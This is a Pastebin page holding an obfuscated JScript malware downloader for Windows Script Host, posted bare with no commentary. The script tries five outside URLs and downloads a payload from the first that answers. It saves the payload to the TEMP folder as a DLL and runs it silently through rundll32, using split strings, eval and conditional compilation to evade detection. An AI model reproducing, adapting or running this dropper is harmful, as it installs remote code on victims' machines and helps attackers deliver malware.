Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Vp8a0m = ["http://hippaupsup.com/3gc7c2rp","http://melkar.com/icfi5mg","http://inspireyouths.org/j48tb3","http://ausulifer.net/3xwpi","http://koratwifi.info/io4h3"];
- QHj4h7t = "CkOWKI9MVUCM";
- var MIx7r8m=1;
- var Jb8s3t=2;
- var UCv9f3a=2;
- var In7p2f="437";
- var SAa9a8c=WScript["CreateObject"]("WScript.Shell");
- var QZr6w5f=SAa9a8c.ExpandEnvironmentStrings("%T"+"EMP%/");
- var MAm3x5g=QZr6w5f + QHj4h7t;
- var PGe8y1t=MAm3x5g + ".d" + "ll";
- var OSs0i6e = SAa9a8c.Environment("System");
- if (OSs0i6e("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
- {
- var ZRl0h2n = SAa9a8c.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe");
- }
- else
- {
- var ZRl0h2n = SAa9a8c.ExpandEnvironmentStrings("%SystemRoot%\\system32\\rundll32.exe");
- }
- var Pt9q4l=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"];
- for (var Cn9d4e=0; Cn9d4e < Pt9q4l["length"]; Cn9d4e++)
- {
- try
- {
- var BNd0p9x=WScript["CreateObject"](Pt9q4l[Cn9d4e]);
- break;
- }
- catch (e)
- {
- continue;
- }
- };
- var Nx3n8j = new ActiveXObject("Scripting.FileSystemObject");
- function HCc6n6s()
- {
- var TKg1f2h = Nx3n8j.GetFile(PGe8y1t);
- return TKg1f2h.ShortPath;
- }
- var AWs1k6z = 0;
- for (var Gg2s1x = 0; Gg2s1x < Vp8a0m.length; Gg2s1x = Gg2s1x + 1)
- {
- try
- {
- BNd0p9x["open"]("GET", Vp8a0m[Gg2s1x], false);
- BNd0p9x["send"]();
- while (BNd0p9x.readystate < 4) WScript["Sleep"](100);
- var Oo4z2o=this["WScript"]["CreateObject"]("ADODB.Stream");
- Oo4z2o["open"]();
- Oo4z2o.type=MIx7r8m;
- Oo4z2o.write(BNd0p9x.ResponseBody);
- Oo4z2o.position=0;
- eval("Oo4z2o['Sav'+'eToFile'](PGe8y1t, UCv9f3a);");
- Oo4z2o.close();
- var IMb6d0y = HCc6n6s();
- /*@cc_on
- SAa9a8c["Run"](ZRl0h2n + " " + IMb6d0y + ",0002");
- @*/
- break;
- }
- catch (e) {continue;};
- }
- WScript.Quit(0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement